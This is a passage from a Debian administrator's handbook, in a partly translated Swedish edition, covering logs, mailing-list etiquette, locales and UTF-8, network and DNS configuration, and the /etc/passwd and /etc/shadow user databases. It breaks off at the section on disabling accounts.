To allow such tests, each daemon generally records everything that it does, as well as any errors that it encounters, in what are called “log files” or “system logs”. Logs are stored in /var/log/ or one of its subdirectories. To know the precise name of a log file for each daemon, see its documentation. Note: a single test is not always sufficient if it does not cover all the possible usage cases; some problems only occur in particular circumstances.

TOOL The rsyslogd daemon

rsyslogd is special: it collects logs (internal system messages) that are sent to it by other programs. Each log entry is associated with a subsystem (e-mail, kernel, authentication, etc.) and a priority; rsyslogd processes these two pieces of information to decide on what to do. The log message may be recorded in various log files, and/or sent to an administration console. The details are defined in the /etc/rsyslog.conf configuration file (documented in the manual page of the same name provided in the rsyslog-doc package).

Certain C functions, which are specialized in sending logs, simplify the use of the rsyslogd daemon. However some daemons manage their own log files (this is the case, for example, of samba, which implements Windows shares on Linux).

Note that when systemd is in use, the logs are actually collected by systemd before being forwarded to rsyslogd. They are thus also available via systemd's journal and can be consulted with journalctl (see Avsnitt 9.1.1, ”Systemds init-system” for details).

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, awffull for Apache), FTP servers, proxy/cache servers, firewalls, e-mail servers, DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in Kapitel 14, Säkerhet), scan these files in search of alerts to be dealt with.

7.2.3. Fråga efter hjälp på en mailinglista

If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org> mailing list and its language specific siblings <debian-user-lang@lists.debian.org>. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

BACK TO BASICS Netiquette applies

In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.

→ https://tools.ietf.org/html/rfc1855

Furthermore, for any communication channel managed by the Debian project, you are bound by the Debian Code of Conduct:

→ https://www.debian.org/code_of_conduct

Once those two conditions are met, you can think of describing your problem to the mailing list. Include as much relevant information as possible: various tests conducted, documentation consulted, how you attempted to diagnose the problem, the packages concerned or those that may be involved, etc. Check the Debian Bug Tracking System (BTS, described in sidebar Avsnitt 1.3.2.1, ”Rapportera fel”) for similar problems, and mention the results of that search, providing links to bugs found. BTS starts on:

→ https://bugs.debian.org/

The more courteous and precise you have been, the greater your chances are of getting an answer, or, at least, some elements of response. If you receive relevant information by private e-mail, think of summarizing this information publicly so that others can benefit. This also allows the list's archives, searched through various search engines, to show the resolution for others who may have the same question.

7.2.4. Rapportera en bugg när ett problem är för svårt

If all of your efforts to resolve a problem fail, it is possible that a resolution is not your responsibility, and that the problem is due to a bug in the program. In this case, the proper procedure is to report the bug to Debian or directly to the upstream developers. To do this, isolate the problem as much as possible and create a minimal test situation in which it can be reproduced. If you know which program is the apparent cause of the problem, you can find its corresponding package using the command, dpkg -S file_in_question. Check the Bug Tracking System (https://bugs.debian.org/package) to ensure that the bug has not already been reported. You can then send your own bug report, using the reportbug command, including as much information as possible, especially a complete description of those minimal test cases that will allow anyone to recreate the bug.

The elements of this chapter are a means of effectively resolving issues that the following chapters may bring about. Use them as often as necessary!

Kapitel 8. Grundläggande konfiguration: Nätverk, konton, utskrift...

A computer with a new installation created with debian-installer is intended to be as functional as possible, but many services still have to be configured. Furthermore, it is always good to know how to change certain configuration elements defined during the initial installation process.

This chapter reviews everything included in what we could call the “basic configuration”: networking, language and locales, users and groups, printing, mount points, etc.

8.1. Konfigurera systemet för ett annat språk

If the system was installed using French, the machine will probably already have French set as the default language. But it is good to know what the installer does to set the language, so that later, if the need arises, you can change it.

VERKTYG locale kommandot för att visa den aktuella konfigurationen

The locale command lists a summary of the current configuration of various locale parameters (date format, numbers format, etc.), presented in the form of a group of standard environment variables dedicated to the dynamic modification of these settings.

8.1.1. Ställ in standardspråk

A locale is a group of regional settings. This includes not only the language for text, but also the format for displaying numbers, dates, times, and monetary sums, as well as the alphabetical comparison rules (to properly account for accented characters). Although each of these parameters can be specified independently from the others, we generally use a locale, which is a coherent set of values for these parameters corresponding to a “region” in the broadest sense. These locales are usually indicated under the form, language-code_COUNTRY-CODE, sometimes with a suffix to specify the character set and encoding to be used. This enables consideration of idiomatic or typographical differences between different regions with a common language.

KULTUR Teckenuppsättningar

Historically, each locale has an associated “character set” (group of known characters) and a preferred “encoding” (internal representation for characters within the computer).

The most popular encodings for latin-based languages were limited to 256 characters because they opted to use a single byte for each character. Since 256 characters was not enough to cover all European languages, multiple encodings were needed, and that is how we ended up with ISO-8859-1 (also known as “Latin 1”) up to ISO-8859-15 (also known as “Latin 9”), among others.

Working with foreign languages often implied regular switches between various encodings and character sets. Furthermore, writing multilingual documents led to further, almost intractable problems. Unicode (a super-catalog of nearly all writing systems from all of the world's languages) was created to work around this problem. One of Unicode's encodings, UTF-8, retains all 128 ASCII symbols (7-bit codes), but handles other characters differently. Those are preceded by a specific escape sequence of a few bits, which implicitly defines the length of the character. This allows encoding all Unicode characters on a sequence of one or more bytes. Its use has been popularized by the fact that it is the default encoding in XML documents.

This is the encoding that should generally be used, and is thus the default on Debian systems.

The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask you to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.

The first question invites you to select “locales” to support. Selecting all English locales (meaning those beginning with “en_”) is a reasonable choice. Do not hesitate to also enable other locales if the machine will host foreign users. The list of locales enabled on the system is stored in the /etc/locale.gen file. It is possible to edit this file by hand, but you should run locale-gen after any modifications. It will generate the necessary files for the added locales to work, and remove any obsolete files.

The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the USA is “en_US.UTF-8”. British English speakers will prefer “en_GB.UTF-8”, and Canadians will prefer either “en_CA.UTF-8” or, for French, “fr_CA.UTF-8”. The /etc/default/locale file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG environment variable.

The locales-all package contains the precompiled locale data for all supported locales.

BEHIND THE SCENES /etc/environment and /etc/default/locale

The /etc/environment file provides the login, gdm, or even ssh programs with the correct environment variables to be created.

These applications do not create these variables directly, but rather via a PAM (pam_env.so) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See Avsnitt 11.7.3.2, ”Konfigurera PAM” for an example of PAM configuration.

The /etc/default/locale file works in a similar manner, but contains only the LANG environment variable. Thanks to this split, some PAM users can inherit a complete environment without localization. Indeed, it is generally discouraged to run server programs with localization enabled; on the other hand, localization and regional settings are recommended for programs that open user sessions.

8.1.2. Konfigurera tangentbordet

Even if the keyboard layout is managed differently in console and graphical mode, Debian offers a single configuration interface that works for both: it is based on debconf and is implemented in the keyboard-configuration package. Thus the dpkg-reconfigure keyboard-configuration command can be used at any time to reset the keyboard layout.

The questions are relevant to the physical keyboard layout (a standard PC keyboard in the US will be a “Generic 104 key”), then the layout to choose (generally “US”), and then the position of the AltGr key (right Alt). Finally comes the question of the key to use for the “Compose key”, which allows for entering special characters by combining keystrokes. Type successively Compose ' e and produce an e-acute (“é”). All these combinations are described in the /usr/share/X11/locale/en_US.UTF-8/Compose file (or another file, determined according to the current locale indicated by /usr/share/X11/locale/compose.dir).

Note that the keyboard configuration for graphical mode described here only affects the default layout; the GNOME and KDE Plasma environments, among others, provide a keyboard control panel in their preferences allowing each user to have their own configuration. Some additional options regarding the behavior of some particular keys are also available in these control panels.

8.1.3. Migrera till UTF-8

The generalization of UTF-8 encoding has been a long awaited solution to numerous difficulties with interoperability, since it facilitates international exchange and removes the arbitrary limits on characters that can be used in a document. The one drawback is that it had to go through a rather difficult transition phase. Since it could not be completely transparent (that is, it could not happen at the same time all over the world), two conversion operations were required: one on file contents, and the other on filenames. Fortunately, the bulk of this migration has been completed and we discuss it largely for reference.

CULTURE Mojibake and interpretation errors

When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are misinterpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.

Thus, if a French text appears normal with the exception of accented letters and certain symbols which appear to be replaced with sequences of characters like “Ã©” or Ã¨” or “Ã§”, it is probably a file encoded as UTF-8 but interpreted as ISO-8859-1 or ISO-8859-15. This is a sign of a local installation that has not yet been migrated to UTF-8. If, instead, you see question marks instead of accented letters — even if these question marks seem to also replace a character that should have followed the accented letter — it is likely that your installation is already configured for UTF-8 and that you have been sent a document encoded in Western ISO.

So much for “simple” cases. These cases only appear in Western culture, since Unicode (and UTF-8) was designed to maximize the common points with historical encodings for Western languages based on the Latin alphabet, which allows recognition of parts of the text even when some characters are missing.

In more complex configurations, which, for example, involve two environments corresponding to two different languages that do not use the same alphabet, you often get completely illegible results — a series of abstract symbols that have nothing to do with each other. This is especially common with Asian languages due to their numerous languages and writing systems. The Japanese word mojibake has been adopted to describe this phenomenon. When it appears, diagnosis is more complex and the simplest solution is often to simply migrate to UTF-8 on both sides.

As far as file names are concerned, the migration can be relatively simple. The convmv tool (in the package with the same name) was created specifically for this purpose; it allows renaming files from one encoding to another. The use of this tool is relatively simple, but we recommend doing it in two steps to avoid surprises. The following example illustrates a UTF-8 environment containing directory names encoded in ISO-8859-15, and the use of convmv to rename them.

$ ls travail/ Ic?nes ?l?ments graphiques Textes $ convmv -r -f iso-8859-15 -t utf-8 travail/ Starting a dry run without changes... mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" No changes to your files done. Use --notest to finally rename the files. $ convmv -r --notest -f iso-8859-15 -t utf-8 travail/ mv "travail/�l�ments graphiques" "travail/Éléments graphiques" mv "travail/Ic�nes" "travail/Icônes" Ready! $ ls travail/ Éléments graphiques Icônes Textes

For the file content, conversion procedures are more complex due to the vast variety of existing file formats. Some file formats include encoding information that facilitates the tasks of the software used to treat them; it is sufficient, then, to open these files and re-save them specifying UTF-8 encoding. In other cases, you have to specify the original encoding (ISO-8859-1 or “Western”, or ISO-8859-15 or “Western (Euro)”, according to the formulations) when opening the file.

For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete). Alternatively, iconv supports more character sets, but has less options.

8.2. Konfigurera Nätverket

BACK TO BASICS Essential network concepts (Ethernet, IP address, subnet, broadcast)

Most modern local networks use the Ethernet protocol, where data is split into small blocks called frames and transmitted on the wire one frame at a time. Data speeds vary from 10 Mb/s for older Ethernet cards to 100 Gb/s in the newest cards (with the most common rate currently growing from 100 Mb/s to 10 Gb/s). The most widely used cables are called 10BASE-T, 100BASE-T, 1000BASE-T, 10GBASE-T and 40GBASE-T, depending on the throughput they can reliably provide (the T stands for “twisted pair”); those cables end in an RJ45 connector. There are other cable types, used mostly for speeds of 10 Gb/s and above.

An IP address is a number used to identify a network interface on a computer on a local network or the Internet. In the currently most widespread version of IP (IPv4), this number is encoded in 32 bits, and is usually represented as 4 numbers separated by periods (e.g. 192.168.0.1), each number being between 0 and 255 (inclusive, which corresponds to 8 bits of data). The next version of the protocol, IPv6, extends this addressing space to 128 bits, and the addresses are generally represented as a series of hexadecimal numbers separated by colons (e.g., 2001:0db8:13bb:0002:0000:0000:0000:0020, or 2001:db8:13bb:2::20 for short).

A subnet mask (netmask) defines in its binary code which portion of an IP address corresponds to the network, the remainder specifying the machine. In the example of configuring a static IPv4 address given here, the subnet mask, 255.255.255.0 (24 “1”s followed by 8 “0”s in binary representation) indicates that the first 24 bits of the IP address correspond to the network address, and the other 8 are specific to the machine. In IPv6, for readability, only the number of “1”s is expressed; the netmask for an IPv6 network could, thus, be 64.

The network address is an IP address in which the part describing the machine's number is 0. The range of IPv4 addresses in a complete network is often indicated by the syntax, a.b.c.d/e, in which a.b.c.d is the network address and e is the number of bits affected to the network part in an IP address. The example network would thus be written: 192.168.0.0/24. The syntax is similar in IPv6: 2001:db8:13bb:2::/64.

A router is a machine that connects several networks to each other. All traffic coming through a router is guided to the correct network. To do this, the router analyzes incoming packets and redirects them according to the IP address of their destination. The router is often known as a gateway; in this configuration, it works as a machine that helps reach out beyond a local network (towards an extended network, such as the Internet).

The special broadcast address connects all the stations in a network. Almost never “routed”, it only functions on the network in question. Specifically, it means that a data packet addressed to the broadcast never passes through the router.

This chapter focuses on IPv4 addresses, since they are currently the most commonly used. The details of the IPv6 protocol are approached in Avsnitt 10.6, ”IPv6”, but the concepts remain the same.

The network is automatically configured during the initial installation. If Network Manager gets installed (which is generally the case for full desktop installations), then it might be that no configuration is actually required (for example, if you rely on DHCP on a wired connection and have no specific requirements). If a configuration is required (for example, for a WiFi interface), then it will create the appropriate file in /etc/NetworkManager/system-connections/.

NOTERANetworkManager

If Network Manager is particularly recommended in roaming setups (see Avsnitt 8.2.5, ”Automatic Network Configuration for Roaming Users”), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/ as described in sidebar TILLBAKA TILL GRUNDERNA Kataloger som slutar på .d.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections. For more information about the syntax of the configuration file please read interfaces(5).

8.2.1. Ethernet Gränssnitt

If the computer has an Ethernet card, the IP network that is associated with it must be configured by choosing from one of two methods. The simplest method is dynamic configuration with DHCP, and it requires a DHCP server on the local network. It may indicate a desired hostname, corresponding to the hostname setting in the example below. The DHCP server then sends configuration settings for the appropriate network.

Exempel 8.1. DHCP konfiguration

auto enp0s31f6 iface enp0s31f6 inet dhcp hostname arrakis

I PRAKTIKEN Namn på nätverksgränssnitt

By default, the kernel attributes generic names such as eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order (at least in theory) might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6). Thus the name becomes predictable.

Obviously, you are free to override this policy and/or to complement it to customize the names of some specific interfaces. You can find out the names of the network interfaces in the output of ip addr (or as filenames in /sys/class/net/).

In some corner cases it might be necessary to disable the predictable naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 (restores the default kernel behavior) and biosdevname=0 kernel parameters to achieve that.

The predecessor of the predictable name scheme was called “persistent name scheme”. It was done using a udev rule to assign the device name based on the MAC address. This scheme has been abandoned and with the release of Debian 10 Buster users have been encouraged to migrate to predictable network device names.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

A “static” configuration must indicate network settings in a fixed manner. This includes at least the IP address and subnet mask; network and broadcast addresses are also sometimes listed. A router connecting to the exterior will be specified as a gateway.

Exempel 8.2. Statisk konfiguration

auto enp0s31f6 iface enp0s31f6 inet static address 192.168.0.3/24 broadcast 192.168.0.255 network 192.168.0.0 gateway 192.168.0.1

NOTERAMultipla adresser

It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. To assign them, just create several iface entries for the same device. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.

As you can guess, the configurations can be rather complex, but these options are only used in very special cases. The examples cited here are typical of the usual configurations.

8.2.2. Trådlöst Gränssnitt

Getting wireless network cards to work can be a bit more challenging. First of all, they often require the installation of proprietary firmwares which are not installed by default in Debian. Then wireless networks rely on cryptography to restrict access to authorized users only, this implies storing some secret key in the network configuration. Let's tackle those topics one by one.

8.2.2.1. Installera nödvändiga firmwares

First you have to enable the non-free repository in APT's sources.list file: see Avsnitt 6.1, ”Att fylla i filen sources.list” for details about this file. Many firmware are proprietary and are thus located in this repository. You can try to skip this step if you want, but if the next step doesn't find the required firmware, retry after having enabled the non-free section.

Then you have to install the appropriate firmware-* packages. If you don't know which package you need, you can install the isenkram package and run its isenkram-autoinstall-firmware command. The packages are often named after the hardware manufacturer or the corresponding kernel module: firmware-iwlwifi for Intel wireless cards, firmware-atheros for Qualcomm Atheros, firmware-ralink for Ralink, etc. A reboot is then recommended because the kernel driver usually looks for the firmware files when it is first loaded and no longer afterwards.

8.2.2.2. Trådlösa specifika poster i /etc/network/interfaces

ifupdown is able to manage wireless interfaces but it needs the help of the wpasupplicant package which provides the required integration between ifupdown and the wpa_supplicant command used to configure the wireless interfaces (when using WPA/WPA2 encryption). The usual entry in /etc/network/interfaces needs to be extended with two supplementary parameters to specify the name of the wireless network (aka its SSID) and the Pre-Shared Key (PSK).

Exempel 8.3. DHCP konfiguration för ett trådlöst interface

auto wlp4s0 iface wlp4s0 inet dhcp wpa-ssid Falcot wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

The wpa-psk parameter can contain either the plain text passphrase or its hashed version generated with wpa_passphrase SSID passphrase. If you use an unencrypted wireless connection, then you should put a wpa-key-mgmt NONE and no wpa-psk entry. For more information about the possible configuration options, have a look at /usr/share/doc/wpasupplicant/README.Debian.gz.

At this point, you should consider restricting the read permissions on /etc/network/interfaces to the root user only since the file contains a private key that not all users should have access to.

HISTORIA WEP kryptering

Användning av det föråldrade WEP -krypteringsprotokollet är möjligt med wireless-tools paketet. Se /usr/share/doc/wireless-tools/README.Debian för instruktioner.

8.2.3. Ansluta med PPP via ett PSTN-modem

A point to point (PPP) connection establishes an intermittent connection; this is the most common solution for connections made with a telephone modem (“PSTN modem”, since the connection goes over the public switched telephone network).

A connection by telephone modem requires an account with an access provider, including a telephone number, username, password, and, sometimes the authentication protocol to be used. Such a connection is configured using the pppconfig tool in the Debian package of the same name. By default, it sets up a connection named provider (as in Internet service provider). When in doubt about the authentication protocol, choose PAP: it is offered by the majority of Internet service providers.

After configuration, it is possible to connect using the pon command (giving it the name of the connection as a parameter, when the default value of provider is not appropriate). The link is disconnected with the poff command. These two commands can be executed by the root user, or by any other user, provided they are in the dip group.

8.2.4. Ansluta via ett ADSL-modem

The generic term “ADSL modem” covers a multitude of devices with very different functions. The modems that are simplest to use with Linux are those that have an Ethernet interface (and not only a USB interface). These tend to be popular; most ADSL Internet service providers lend (or lease) a “box” with Ethernet interfaces. Depending on the type of modem, the configuration required can vary widely.

8.2.4.1. Modem som stöder PPPOE

Some Ethernet modems work with the PPPOE protocol (Point to Point Protocol over Ethernet). The pppoeconf tool (from the package with the same name) will configure the connection. To do so, it modifies the /etc/ppp/peers/dsl-provider file with the settings provided and records the login information in the /etc/ppp/pap-secrets and /etc/ppp/chap-secrets files. It is recommended to accept all modifications that it proposes.

När denna konfiguration är klar kan du öppna ADSL-anslutningen med kommandot, pon dsl-provider och koppla ifrån med poff dsl-provider.

TIPS Starta ett ppp vid uppstart

PPP connections over ADSL are, by definition, intermittent. Since they are usually not billed according to time, there are few downsides to the temptation of keeping them always open. The standard means to do so is to use the init system.

With systemd, adding an automatically restarting task for the ADSL connection is a simple matter of creating a “unit file” such as /etc/systemd/system/adsl-connection.service, with contents such as the following:

[Unit] Description=ADSL connection [Service] Type=forking ExecStart=/usr/sbin/pppd call dsl-provider Restart=always [Install] WantedBy=multi-user.target

Once this unit file has been defined, it needs to be enabled with systemctl enable adsl-connection. Then the loop can be started manually with systemctl start adsl-connection; it will also be started automatically on boot.

On systems not using systemd (including Wheezy and earlier versions of Debian), the standard SystemV init works differently. On such systems, all that is needed is to add a line such as the following at the end of the /etc/inittab file; then, any time the connection is disconnected, init will reconnect it.

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

For ADSL connections that auto-disconnect on a daily basis, this method reduces the duration of the interruption.

8.2.4.2. Modem som stöder PPTP

The PPTP (Point-to-Point Tunneling Protocol) protocol was created by Microsoft. Deployed at the beginning of ADSL, it was quickly replaced by PPPOE. If this protocol is forced on you, see Avsnitt 10.3.4, ”PPTP”.

8.2.4.3. Modem som stöder DHCP

When a modem is connected to the computer by an Ethernet cable (crossover cable) you typically configure a network connection by DHCP on the computer; the modem automatically acts as a gateway by default and takes care of routing (meaning that it manages the network traffic between the computer and the Internet).

TILLBAKA TILL GRUNDEN Korsad kabel för en direkt Ethernet anslutning

Computer network cards expect to receive data on specific wires in the cable, and send their data on others. When you connect a computer to a local network, you usually connect a cable (straight or crossover) between the network card and a repeater or switch. However, if you want to connect two computers directly (without an intermediary switch or repeater), you must route the signal sent by one card to the receiving side of the other card, and vice-versa. This is the purpose of a crossover cable, and the reason it is used.

Note that this distinction has become almost irrelevant over time, as modern network cards are able to detect the type of cable present and adapt accordingly, so it won't be unusual that both kinds of cable will work in a given location.

Most “ADSL routers” on the market can be used like this, as do most of the ADSL modems provided by Internet services providers.

8.2.5. Automatic Network Configuration for Roaming Users

Many Falcot engineers have a laptop computer that, for professional purposes, they also use at home. The network configuration to use differs according to location. At home, it may be a wifi network (protected by a WPA key), while the workplace uses a wired network for greater security and more bandwidth.

To avoid having to manually connect or disconnect the corresponding network interfaces, administrators installed the network-manager package on these roaming machines. This software enables a user to easily switch from one network to another using a small icon displayed in the notification area of their graphical desktop. Clicking on this icon displays a list of available networks (both wired and wireless), so they can simply choose the network they wish to use. The program saves the configuration for the networks to which the user has already connected, and automatically switches to the best available network when the current connection drops.

In order to do this, the program is structured in two parts: a daemon running as root handles activation and configuration of network interfaces and a user interface controls this daemon. PolicyKit handles the required authorizations to control this program and Debian configured PolicyKit in such a way so that members of the netdev group can add or change Network Manager connections.

Network Manager knows how to handle various types of connections (DHCP, manual configuration, local network), but only if the configuration is set with the program itself. This is why it will systematically ignore all network interfaces in /etc/network/interfaces and /etc/network/interfaces.d/ for which it is not suited. Since Network Manager doesn't give details when no network connections are shown, the easy way is to delete from /etc/network/interfaces any configuration for all interfaces that must be managed by Network Manager.

Note that this program is installed by default when the “Desktop Environment” task is chosen during initial installation.

8.3. Ställ in värdnamn och konfigurera namntjänsten

The purpose of assigning names to IP numbers is to make them easier for people to remember. In reality, an IP address identifies a network interface associated with a device such as a network card. Since each machine can have several network cards, and several interfaces on each card, one single computer can have several names in the domain name system.

Each machine is, however, identified by a main (or “canonical”) name, stored in the /etc/hostname file and communicated to the Linux kernel by initialization scripts through the hostname command. The current value is available in a virtual filesystem, and you can get it with the cat /proc/sys/kernel/hostname command.

TILLBAKA TILL GRUNDEN/proc/och/sys, virtuella filsystem

The /proc/ and /sys/ file trees are generated by “virtual” filesystems. This is a practical means of recovering information from the kernel (by listing virtual files) and communicating them to it (by writing to virtual files).

/sys/ in particular is designed to provide access to internal kernel objects, especially those representing the various devices in the system. The kernel can, thus, share various pieces of information: the status of each device (for example, if it is in energy saving mode), whether it is a removable device, etc. Note that /sys/ has only existed since kernel version 2.6. /proc/ describes the current state of the kernel: the files in this directory contain information about the processes running on the system and its hardware.

Surprisingly, the domain name is not managed in the same way, but comes from the complete name of the machine, acquired through name resolution. You can change it in the /etc/hosts file; simply write a complete name for the machine there at the beginning of the list of names associated with the address of the machine, as in the following example:

127.0.0.1 localhost 192.168.0.1 arrakis.falcot.com arrakis

8.3.1. Namnuppslagning

The mechanism for name resolution in Linux is modular and can use various sources of information declared in the /etc/nsswitch.conf file. The entry that involves host name resolution is hosts. By default, it contains files dns, which means that the system consults the /etc/hosts file first, then DNS servers. NIS/NIS+ or LDAP servers are other possible sources.

OBSNSS och DNS

Be aware that the commands specifically intended to query DNS (especially host) do not use the standard name resolution mechanism (NSS). As a consequence, they do not take into consideration /etc/nsswitch.conf, and thus, not /etc/hosts either.

8.3.1.1. Konfigurera DNS servrar

DNS (Domain Name Service) is a distributed and hierarchical service mapping names to IP addresses, and vice-versa. Specifically, it can turn a human-friendly name such as www.eyrolles.com into the actual IP address, 213.244.11.247.

To access DNS information, a DNS server must be available to relay requests. Falcot Corp has its own, but an individual user is more likely to use the DNS servers provided by their ISP.

The DNS servers to be used are indicated in /etc/resolv.conf, one per line, with the nameserver keyword preceding an IP address, as in the following example:

nameserver 212.27.32.176 nameserver 212.27.32.177 nameserver 8.8.8.8

Note that the /etc/resolv.conf file may be handled automatically (and overwritten) when the network is managed by NetworkManager or configured via DHCP, or when resolvconf is installed or systemd-resolved(8) is enabled.

8.3.1.2. /etc/hosts fil

If there is no name server on the local network, it is still possible to establish a small table mapping IP addresses and machine hostnames in the /etc/hosts file, usually reserved for local network stations. The syntax of this file as described in hosts(5) is very simple: each line indicates a specific IP address followed by the list of any associated names (the first being “completely qualified”, meaning it includes the domain name).

This file is available even during network outages or when DNS servers are unreachable, but will only really be useful when duplicated on all the machines on the network. The slightest alteration in correspondence will require the file to be updated everywhere. This is why /etc/hosts generally only contains the most important entries.

Den här filen kommer att räcka för ett litet nätverk som inte är anslutet till Internet, men med 5 maskiner eller fler rekommenderas det att installera en ordentlig DNS-server.

TIPS Kringgå DNS

Since applications check the /etc/hosts file before querying DNS, it is possible to include information in there that is different from what the DNS would return, and therefore to bypass normal DNS-based name resolution.

This allows, in the event of DNS changes not yet propagated, to test access to a website with the intended name even if this name is not properly mapped to the correct IP address yet.

Another possible use is to redirect traffic intended for a specific host to the localhost, thus preventing any communication with the given host. For example, hostnames of servers dedicated to serving ads could be diverted which would bypass these ads resulting in more fluid, less distracting, navigation.

8.4. Användar-och Grupp-Databaser

The list of users is usually stored in the /etc/passwd file, while the /etc/shadow file stores hashed passwords. Both are text files, in a relatively simple format, which can be read and modified with a text editor. Each user is listed there on a line with several fields separated with a colon (“:”).

OBSRedigera systemfiler

The system files mentioned in this chapter are all plain text files, and can be edited with a text editor. Considering their importance to core system functionality, it is always a good idea to take extra precautions when editing system files. First, always make a copy or backup of a system file before opening or altering it. Second, on servers or machines where more than one person could potentially access the same file at the same time, take extra steps to guard against file corruption.

For this purpose, it is enough to use the vipw command to edit the /etc/passwd file, or vigr to edit /etc/group. These commands lock the file in question prior to running the text editor, (vi by default, unless the EDITOR environment variable has been altered). The -s option in these commands allows editing the corresponding shadow file.

BACK TO BASICS Crypt, a one-way function

crypt is a one-way function that transforms a string (A) into another string (B) in a way that A cannot be derived from B. The only way to identify A is to test all possible values, checking each one to determine if transformation by the function will produce B or not. It uses up to 8 characters as input (string A) and generates a string of 13, printable, ASCII characters (string B).

8.4.1. Användarlista: /etc/passwd

Här är listan över fält i /etc/passwd filen:

inloggning, till exempelrhertzog;

password: this is a password encrypted by a one-way function (crypt), relying on DES, MD5, SHA-256 or SHA-512. The special value “x” indicates that the encrypted password is stored in /etc/shadow;

uid:unikt nummer som identifierar varje användare;

gid: unique number for the user's main group (Debian creates a specific group for each user by default);

GECOS: datafält som vanligtvis innehåller användarens fullständiga namn;

login directory, assigned to the user for storage of their personal files (the environment variable $HOME generally points here);

program to execute upon login. This is usually a command interpreter (shell), giving the user free rein. If you specify /bin/false (which does nothing and returns control immediately), the user cannot login.

As mentioned before, one can edit this file directly. But there are more elegant ways to apply changes, which are described in Avsnitt 8.4.3, ”Ändra ett befintligt konto eller lösenord”.

TILLBAKA TILL GRUNDERNA Unix grupp

A Unix group is an entity including several users so that they can easily share files using the integrated permission system (by benefiting from the same rights). You can also restrict use of certain programs to a specific group.

8.4.2. Den dolda och krypterade Lösenordsfilen: /etc/shadow

/etc/shadow filen innehåller följande fält:

login;

encrypted password;

several fields managing password expiration.

One can expire passwords using this file or set the time until the account is disabled after the password has expired.

SÄKERHET/etc/shadow fil säkerhet

/etc/shadow, unlike its alter-ego, /etc/passwd, cannot be read by regular users. Any hashed password stored in /etc/passwd is readable by anybody; a cracker could try to “break” (or reveal) a password by one of several “brute force” methods which, simply put, guess at commonly used combinations of characters. This attack — called a "dictionary attack" — is no longer possible on systems using /etc/shadow.

DOKUMENTATION/etc/passwd, /etc/shadow och /etc/group filformat

These formats are documented in the following man pages: passwd(5), shadow(5), and group(5).

8.4.3. Ändra ett befintligt konto eller lösenord

The following commands allow modification of the information stored in specific fields of the user databases: passwd permits a regular user to change their password, which in turn, updates the /etc/shadow file (chpasswd allows administrators to update passwords for a list of users in batch mode); chfn (CHange Full Name), reserved for the super-user (root), modifies the GECOS field. chsh (CHange SHell) allows the user to change their login shell; however, available choices will be limited to those listed in /etc/shells; the administrator, on the other hand, is not bound by this restriction and can set the shell to any program of their choosing.

Finally, the chage (CHange AGE) command allows the administrator to change the password expiration settings (the -l user option will list the current settings). You can also force the expiration of a password using the passwd -e user command, which will require the user to change their password the next time they log in.

Besides these tools the usermod command allows to modify all the details mentioned above.

8.4.4. Inaktivera ett konto

